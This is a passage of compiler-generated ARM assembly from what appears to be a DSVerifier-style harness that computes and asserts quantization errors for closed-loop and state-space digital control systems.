str r3, [fp, #-3312]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3308]
ldr ip, [fp, #-3416]
sub r3, ip, #1
str r3, [fp, #-3304]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3300]
ldr ip, [fp, #-3416]
sub r3, ip, #1
str r3, [fp, #-3296]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3292]
ldr r2, [fp, #-3412]
ldr r3, [fp, #-3416]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-3288]
ldr ip, [fp, #-3288]
sub r3, ip, #1
str r3, [fp, #-3284]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3280]
ldr ip, [fp, #-3288]
sub r3, ip, #1
str r3, [fp, #-3276]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3272]
ldr ip, [fp, #-3288]
sub r3, ip, #1
str r3, [fp, #-3268]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3264]
ldr ip, [fp, #-3288]
sub r3, ip, #1
str r3, [fp, #-3260]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-3256]
mov r3, #0
str r3, [fp, #-3344]
b .L1236
.L1237:
ldr r2, [fp, #-3316]
ldr r3, [fp, #-3344]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r2, [fp, #-3308]
ldr r3, [fp, #-3344]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-3344]
add r3, r3, #1
str r3, [fp, #-3344]
.L1236:
ldr r2, [fp, #-3344]
ldr r3, [fp, #-3416]
cmp r2, r3
blt .L1237
mov r3, #0
str r3, [fp, #-3344]
b .L1238
.L1243:
ldr r2, [fp, #-3440]
ldr r3, [fp, #-3344]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-3412]
ldr r2, [fp, #-3340]
bl shiftLDouble
sub r3, fp, #2416
sub r3, r3, #12
sub r3, r3, #8
sub r2, fp, #1616
sub r2, r2, #12
sub r2, r2, #8
ldr r1, [fp, #-3412]
str r1, [sp, #4]
ldr r1, [fp, #-3416]
str r1, [sp]
ldr r1, [fp, #-3340]
ldr r0, [fp, #-3316]
bl double_direct_form_1
mov r2, r0
mov r3, r1
ldr r0, [fp, #-3424]
ldr r1, [fp, #-3344]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, [fp, #-3424]
ldr r3, [fp, #-3344]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-3416]
ldr r2, [fp, #-3316]
bl shiftLDouble
ldr r2, [fp, #-3448]
ldr r3, [fp, #-3344]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-3412]
ldr r2, [fp, #-3332]
bl shiftLDouble
sub r3, fp, #3216
sub r3, r3, #12
sub r3, r3, #8
sub r1, fp, #836
ldr r2, [fp, #-3412]
str r2, [sp, #4]
ldr r2, [fp, #-3416]
str r2, [sp]
mov r2, r1
ldr r1, [fp, #-3332]
ldr r0, [fp, #-3308]
bl double_direct_form_1
mov r2, r0
mov r3, r1
ldr r0, [fp, #-3432]
ldr r1, [fp, #-3344]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, [fp, #-3432]
ldr r3, [fp, #-3344]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-3416]
ldr r2, [fp, #-3308]
bl shiftLDouble
ldr r2, [fp, #-3432]
ldr r3, [fp, #-3344]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r6-r7}
ldr r2, [fp, #-3424]
ldr r3, [fp, #-3344]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
mov r0, r3
bl fxp_to_double
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-3244]
str r3, [fp, #-3240]
ldr r3, .L1250+28
add r3, r3, #48
ldmia r3, {r2-r3}
ldr r0, [fp, #-3244]
ldr r1, [fp, #-3240]
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L1239
ldr r3, .L1250+28
add r3, r3, #48
ldmia r3, {r2-r3}
mov r4, r2
eor r5, r3, #-2147483648
mov r2, r4
mov r3, r5
ldr r0, [fp, #-3244]
ldr r1, [fp, #-3240]
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1239
mov r3, #1
b .L1242
.L1239:
mov r3, #0
.L1242:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assert
ldr r3, [fp, #-3344]
add r3, r3, #1
str r3, [fp, #-3344]
.L1238:
ldr r3, .L1250+24
ldr r3, [r3]
ldr r2, [fp, #-3344]
cmp r2, r3
blt .L1243
mov r3, #0
mov sp, r9
mov sp, r8
ldr r2, .L1250
ldr r1, [r2]
ldr r2, [fp, #-32]
eors r1, r2, r1
mov r2, #0
beq .L1245
bl __stack_chk_fail
.L1245:
mov r0, r3
sub sp, fp, #28
@ sp needed
pop {r4, r5, r6, r7, r8, r9, fp, pc}
.L1251:
.align 2
.L1250:
.word .LC75
.word overflow_mode
.word controller+808
.word controller
.word plant+808
.word plant
.word X_SIZE_VALUE
.word impl
.size verify_error_closedloop, .-verify_error_closedloop
.comm new_state,128,8
.comm new_stateFWL,128,8
.comm _controller_fxp,1040,8
.comm _controller_double,1040,8
.section .rodata
.align 2
.LC76:
.word __stack_chk_guard
.text
.align 2
.global ss_system_quantization_error
.syntax unified
.arm
.fpu softvfp
.type ss_system_quantization_error, %function
ss_system_quantization_error:
@ args = 0, pretend = 0, frame = 1088
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #1088
str r0, [fp, #-1088]
ldr r3, .L1327
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, [fp, #-1088]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
ldr r1, .L1327+4
str r2, [r1, #768]
str r3, [r1, #772]
mov r3, #0
str r3, [fp, #-1084]
b .L1253
.L1256:
mov r3, #0
str r3, [fp, #-1080]
b .L1254
.L1255:
ldr r1, .L1327+4
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #1040
sub r3, r3, #8
stm r3, {r0-r1}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1254:
ldr r3, .L1327+8
ldr r3, [r3]
ldr r2, [fp, #-1080]
cmp r2, r3
blt .L1255
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1253:
ldr r3, .L1327+8
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1256
mov r3, #0
str r3, [fp, #-1084]
b .L1257
.L1260:
mov r3, #0
str r3, [fp, #-1080]
b .L1258
.L1259:
ldr r1, .L1327+4
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #16
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #16
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #1040
sub r3, r3, #8
stm r3, {r0-r1}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1258:
ldr r3, .L1327+12
ldr r3, [r3]
ldr r2, [fp, #-1080]
cmp r2, r3
blt .L1259
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1257:
ldr r3, .L1327+8
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1260
mov r3, #0
str r3, [fp, #-1084]
b .L1261
.L1264:
mov r3, #0
str r3, [fp, #-1080]
b .L1262
.L1263:
ldr r1, .L1327+4
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #32
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #32
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #1040
sub r3, r3, #8
stm r3, {r0-r1}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1262:
ldr r3, .L1327+8
ldr r3, [r3]
ldr r2, [fp, #-1080]
cmp r2, r3
blt .L1263
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1261:
ldr r3, .L1327+16
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1264
mov r3, #0
str r3, [fp, #-1084]
b .L1265
.L1268:
mov r3, #0
str r3, [fp, #-1080]
b .L1266
.L1267:
ldr r1, .L1327+4
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #48
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #48
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #1040
sub r3, r3, #8
stm r3, {r0-r1}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1266:
ldr r3, .L1327+12
ldr r3, [r3]
ldr r2, [fp, #-1080]
cmp r2, r3
blt .L1267
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1265:
ldr r3, .L1327+16
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1268
mov r3, #0
str r3, [fp, #-1084]
b .L1269
.L1272:
mov r3, #0
str r3, [fp, #-1080]
b .L1270
.L1271:
ldr r1, .L1327+4
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #64
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #64
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #1040
sub r3, r3, #8
stm r3, {r0-r1}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1270:
ldr r3, [fp, #-1080]
cmp r3, #0
ble .L1271
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1269:
ldr r3, .L1327+8
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1272
mov r3, #0
str r3, [fp, #-1084]
b .L1273
.L1276:
mov r3, #0
str r3, [fp, #-1080]
b .L1274
.L1275:
ldr r1, .L1327+4
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #96
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #96
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #1040
sub r3, r3, #8
stm r3, {r0-r1}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1274:
ldr r3, [fp, #-1080]
cmp r3, #0
ble .L1275
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1273:
ldr r3, .L1327+12
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1276
mov r3, #0
str r3, [fp, #-1084]
b .L1277
.L1280:
mov r3, #0
str r3, [fp, #-1080]
b .L1278
.L1279:
ldr r1, .L1327+4
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #80
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #80
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #1040
sub r3, r3, #8
stm r3, {r0-r1}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1278:
ldr r3, [fp, #-1080]
cmp r3, #0
ble .L1279
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1277:
ldr r3, .L1327+16
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1280
mov r2, #0
mov r3, #0
str r2, [fp, #-1076]
str r3, [fp, #-1072]
mov r3, #0
str r3, [fp, #-1084]
b .L1281
.L1284:
mov r3, #0
str r3, [fp, #-1080]
b .L1282
.L1283:
ldr r1, .L1327+20
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
ldr ip, .L1327+4
ldr r1, [fp, #-1084]
lsl r0, r1, #2
ldr r1, [fp, #-1080]
add r1, r0, r1
add r1, r1, #64
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1282:
ldr r3, [fp, #-1080]
cmp r3, #0
ble .L1283
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1281:
ldr r3, .L1327+8
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1284
bl double_state_space_representation
str r0, [fp, #-1068]
str r1, [fp, #-1064]
mov r3, #0
str r3, [fp, #-1084]
b .L1285
.L1288:
mov r3, #0
str r3, [fp, #-1080]
b .L1286
.L1287:
ldr r1, .L1327+4
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #64
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
ldr ip, .L1327+20
ldr r1, [fp, #-1084]
lsl r0, r1, #2
ldr r1, [fp, #-1080]
add r1, r0, r1
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1286:
ldr r3, [fp, #-1080]
cmp r3, #0
ble .L1287
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1285:
ldr r3, .L1327+8
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1288
ldr r0, [fp, #-1088]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
str r2, [fp, #-284]
str r3, [fp, #-280]
mov r3, #0
str r3, [fp, #-1084]
b .L1289
.L1292:
mov r3, #0
str r3, [fp, #-1080]
b .L1290
.L1291:
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #1040
sub r3, r3, #8
ldmia r3, {r2-r3}
ldr ip, .L1327+4
ldr r1, [fp, #-1084]
lsl r0, r1, #2
ldr r1, [fp, #-1080]
add r1, r0, r1
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1290:
ldr r3, .L1327+8
ldr r3, [r3]
ldr r2, [fp, #-1080]
cmp r2, r3
blt .L1291
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1289:
ldr r3, .L1327+8
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1292
mov r3, #0
str r3, [fp, #-1084]
b .L1293
.L1296:
mov r3, #0
str r3, [fp, #-1080]
b .L1294
.L1295:
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #16
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #1040
sub r3, r3, #8
ldmia r3, {r2-r3}
ldr ip, .L1327+4
ldr r1, [fp, #-1084]
lsl r0, r1, #2
ldr r1, [fp, #-1080]
add r1, r0, r1
add r1, r1, #16
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1294:
ldr r3, .L1327+12
ldr r3, [r3]
ldr r2, [fp, #-1080]
cmp r2, r3
blt .L1295
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1293:
ldr r3, .L1327+8
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1296
mov r3, #0
str r3, [fp, #-1084]
b .L1297
.L1300:
mov r3, #0
str r3, [fp, #-1080]
b .L1298
.L1299:
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #32
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #1040
sub r3, r3, #8
ldmia r3, {r2-r3}
ldr ip, .L1327+4
ldr r1, [fp, #-1084]
lsl r0, r1, #2
ldr r1, [fp, #-1080]
add r1, r0, r1
add r1, r1, #32
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1298:
ldr r3, .L1327+8
ldr r3, [r3]
ldr r2, [fp, #-1080]
cmp r2, r3
blt .L1299
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1297:
ldr r3, .L1327+16
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1300
mov r3, #0
str r3, [fp, #-1084]
b .L1301
.L1304:
mov r3, #0
str r3, [fp, #-1080]
b .L1302
.L1303:
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #48
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #1040
sub r3, r3, #8
ldmia r3, {r2-r3}
ldr ip, .L1327+4
ldr r1, [fp, #-1084]
lsl r0, r1, #2
ldr r1, [fp, #-1080]
add r1, r0, r1
add r1, r1, #48
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1302:
ldr r3, .L1327+12
ldr r3, [r3]
ldr r2, [fp, #-1080]
cmp r2, r3
blt .L1303
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1301:
ldr r3, .L1327+16
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1304
mov r3, #0
str r3, [fp, #-1084]
b .L1305
.L1308:
mov r3, #0
str r3, [fp, #-1080]
b .L1306
.L1307:
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #64
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #1040
sub r3, r3, #8
ldmia r3, {r2-r3}
ldr ip, .L1327+4
ldr r1, [fp, #-1084]
lsl r0, r1, #2
ldr r1, [fp, #-1080]
add r1, r0, r1
add r1, r1, #64
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1306:
ldr r3, [fp, #-1080]
cmp r3, #0
ble .L1307
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1305:
ldr r3, .L1327+8
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1308
mov r3, #0
str r3, [fp, #-1084]
b .L1309
.L1312:
mov r3, #0
str r3, [fp, #-1080]
b .L1310
.L1311:
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #96
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #1040
sub r3, r3, #8
ldmia r3, {r2-r3}
ldr ip, .L1327+4
ldr r1, [fp, #-1084]
lsl r0, r1, #2
ldr r1, [fp, #-1080]
add r1, r0, r1
add r1, r1, #96
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1310:
ldr r3, [fp, #-1080]
cmp r3, #0
ble .L1311
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1309:
ldr r3, .L1327+12
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1312
mov r3, #0
str r3, [fp, #-1084]
b .L1313
.L1316:
mov r3, #0
str r3, [fp, #-1080]
b .L1314
.L1315:
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #80
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #1040
sub r3, r3, #8
ldmia r3, {r2-r3}
ldr ip, .L1327+4
ldr r1, [fp, #-1084]
lsl r0, r1, #2
ldr r1, [fp, #-1080]
add r1, r0, r1
add r1, r1, #80
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1314:
ldr r3, [fp, #-1080]
cmp r3, #0
ble .L1315
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1313:
ldr r3, .L1327+16
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1316
mov r3, #0
str r3, [fp, #-1084]
b .L1317
.L1320:
mov r3, #0
str r3, [fp, #-1080]
b .L1318
.L1319:
ldr r1, .L1327+24
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
ldr ip, .L1327+4
ldr r1, [fp, #-1084]
lsl r0, r1, #2
ldr r1, [fp, #-1080]
add r1, r0, r1
add r1, r1, #64
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1318:
ldr r3, [fp, #-1080]
cmp r3, #0
ble .L1319
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1317:
ldr r3, .L1327+8
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1320
bl fxp_state_space_representation
str r0, [fp, #-1060]
str r1, [fp, #-1056]
mov r3, #0
str r3, [fp, #-1084]
b .L1321
.L1324:
mov r3, #0
str r3, [fp, #-1080]
b .L1322
.L1323:
ldr r1, .L1327+4
ldr r3, [fp, #-1084]
lsl r2, r3, #2
ldr r3, [fp, #-1080]
add r3, r2, r3
add r3, r3, #64
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
ldr ip, .L1327+24
ldr r1, [fp, #-1084]
lsl r0, r1, #2
ldr r1, [fp, #-1080]
add r1, r0, r1
lsl r1, r1, #3
add r1, ip, r1
stm r1, {r2-r3}
ldr r3, [fp, #-1080]
add r3, r3, #1
str r3, [fp, #-1080]
.L1322:
ldr r3, [fp, #-1080]
cmp r3, #0
ble .L1323
ldr r3, [fp, #-1084]
add r3, r3, #1
str r3, [fp, #-1084]
.L1321:
ldr r3, .L1327+8
ldr r3, [r3]
ldr r2, [fp, #-1084]
cmp r2, r3
blt .L1324
ldr r2, [fp, #-1060]
ldr r3, [fp, #-1056]
ldr r0, [fp, #-1068]
ldr r1, [fp, #-1064]
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-1076]
str r3, [fp, #-1072]
ldr r2, [fp, #-1076]
ldr r3, [fp, #-1072]
ldr r1, .L1327
ldr r0, [r1]
ldr r1, [fp, #-8]
eors r0, r1, r0
mov r1, #0
beq .L1326
bl __stack_chk_fail
.L1326:
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L1328:
.align 2
.L1327:
.word .LC76
.word _controller
.word nStates
.word nInputs
.word nOutputs
.word new_state
.word new_stateFWL
.size ss_system_quantization_error, .-ss_system_quantization_error
.section .rodata
.align 2
.LC77:
.word __stack_chk_guard
.text
.align 2
.global fxp_ss_closed_loop_quantization_error
.syntax unified
.arm
.fpu softvfp
.type fxp_ss_closed_loop_quantization_error, %function
fxp_ss_closed_loop_quantization_error:
@ args = 0, pretend = 0, frame = 736
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #752
str r0, [fp, #-740]
str r1, [fp, #-736]
ldr r3, .L1360
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #4
sub r3, r3, #724
sub r3, r3, #2
mov r2, #0
strh r2, [r3] @ movhi
mov r3, #0
str r3, [fp, #-728]
b .L1330
.L1335:
mov r3, #0
str r3, [fp, #-724]
b .L1331
.L1334:
ldr r1, .L1360+4
ldr r3, [fp, #-728]
lsl r2, r3, #2
ldr r3, [fp, #-724]
add r3, r2, r3
add r3, r3, #48
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
bne .L1332
sub r3, fp, #4
